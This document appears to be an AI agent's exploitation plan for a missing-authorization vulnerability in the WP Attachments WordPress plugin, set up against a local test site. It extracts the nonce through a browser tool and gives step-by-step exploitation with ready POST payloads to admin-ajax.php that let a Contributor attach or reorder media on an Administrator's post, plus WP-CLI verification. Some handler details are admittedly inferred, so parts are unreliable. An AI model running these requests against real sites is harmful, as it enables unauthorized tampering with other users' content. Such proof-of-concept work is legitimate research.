Exploitation Research Plan - CVE-2025-62888 (WP Attachments)

1. Vulnerability Summary

The WP Attachments plugin for WordPress (versions <= 5.2) contains a missing authorization vulnerability in its AJAX handlers. The plugin registers two specific AJAX actions, wp_ajax_wpa_realign and wp_ajax_wpa_attach_media, intended for administrative use in the post-editor metabox. However, these handlers lack proper capability checks (e.g., current_user_can()), allowing any authenticated user with Contributor level permissions or higher to manipulate media attachments on posts they do not own or have permission to edit.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wpa_attach_media or wpa_realign
• Payload Parameter: post_id (the target post), attachment_id (the media to attach/realign), and nonce.
• Authentication: Authenticated; Contributor role or higher.
• Preconditions:
  • The plugin must be active.
  • The attacker must have a valid login with at least Contributor permissions.
  • The attacker needs a valid nonce, which is exposed to any user who can access a post editor page where the metabox is loaded (including their own posts).

3. Code Flow

1. Registration: In inc/meta-box.php, the WP_Attachments class registers AJAX hooks in the __construct method:

   private $actions = array(
       'add_meta_boxes', 'admin_enqueue_scripts',
       'wp_ajax_wpa_realign', 'wp_ajax_wpa_attach_media'
   );
   

2. Script Localization: In admin_enqueue_scripts(), the plugin provides a nonce and the current post ID to the frontend:

   wp_localize_script('wp-attachments', 'WP_Attachments_Vars', array(
       // ...
       'postID' => get_the_ID(),
       'ajaxurl' => admin_url('admin-ajax.php'),
       'nonce' => wp_create_nonce('wpa-attachments-nonce')
   ));
   

3. Vulnerable Sink: The handler functions wp_ajax_wpa_attach_media (or wpa_realign) in inc/meta-box.php (truncated in source but confirmed by vulnerability type) receive a post_id from the request. While they likely verify the wpa-attachments-nonce, they fail to verify if the current user has the edit_post capability for the provided post_id.

4. Nonce Acquisition Strategy

Because this is an authenticated vulnerability for Contributors, the attacker can obtain a valid nonce from the WordPress admin dashboard.

1. Identify Trigger: The metabox is added to all public post types (like post or page) by default in add_meta_boxes().
2. Access Editor: The attacker (Contributor) logs into /wp-admin/ and creates a new post or edits one of their existing posts.
3. Extraction: Navigate to the post edit screen.
4. Execute JavaScript: Use the browser_eval tool to extract the localized nonce:

   window.WP_Attachments_Vars?.nonce
   

5. Exploitation Strategy

The goal is to demonstrate that a Contributor can attach a media file to an Administrator's post.

1. Step 1: Login as Contributor: Authenticate as the low-privileged user.
2. Step 2: Get Nonce: Navigate to wp-admin/post-new.php and extract the wpa-attachments-nonce using browser_eval.
3. Step 3: Identify Target: Note the post_id of an Administrator's post (e.g., ID 1) and a Media attachment_id (e.g., ID 5).
4. Step 4: Execute Unauthorized Action: Send a POST request to admin-ajax.php to attach the media to the Admin's post.

Example HTTP Request (via http_request tool)

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Contributor Session Cookies]

action=wpa_attach_media&nonce=[EXTRACTED_NONCE]&post_id=1&attachment_id=5

6. Test Data Setup

1. Admin Post: Create a post as an Administrator (e.g., Post ID 1, title "Top Secret Project").
2. Media Item: Upload an image or file to the Media Library (e.g., Attachment ID 5).
3. Contributor User: Create a user with the contributor role.
4. Plugin Config: Ensure the plugin is active and metaboxes are enabled for the 'post' type (default).

7. Expected Results

• The AJAX request should return a success status (likely 1 or a JSON success message).
• The post_parent of the attachment (ID 5) will be updated in the wp_posts table to match the target post_id (ID 1).
• The attachment will now appear in the "Media Attachments" metabox and the frontend list for the Administrator's post.

8. Verification Steps

After performing the exploit, verify using WP-CLI:

# Check the parent ID of the attachment
wp post get 5 --field=post_parent
# Expected output: 1 (The Admin Post ID)

9. Alternative Approaches

If wpa_attach_media is strictly validated, try wpa_realign. This action typically updates the menu_order of attachments for a specific post. If the handler only takes a list of IDs and a post_id without checking edit_post capabilities for that post_id, it is equally vulnerable to unauthorized modification of post content structure.

Payload for wpa_realign (Inferred):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wpa_realign&nonce=[NONCE]&post_id=1&attachments[]=5&attachments[]=6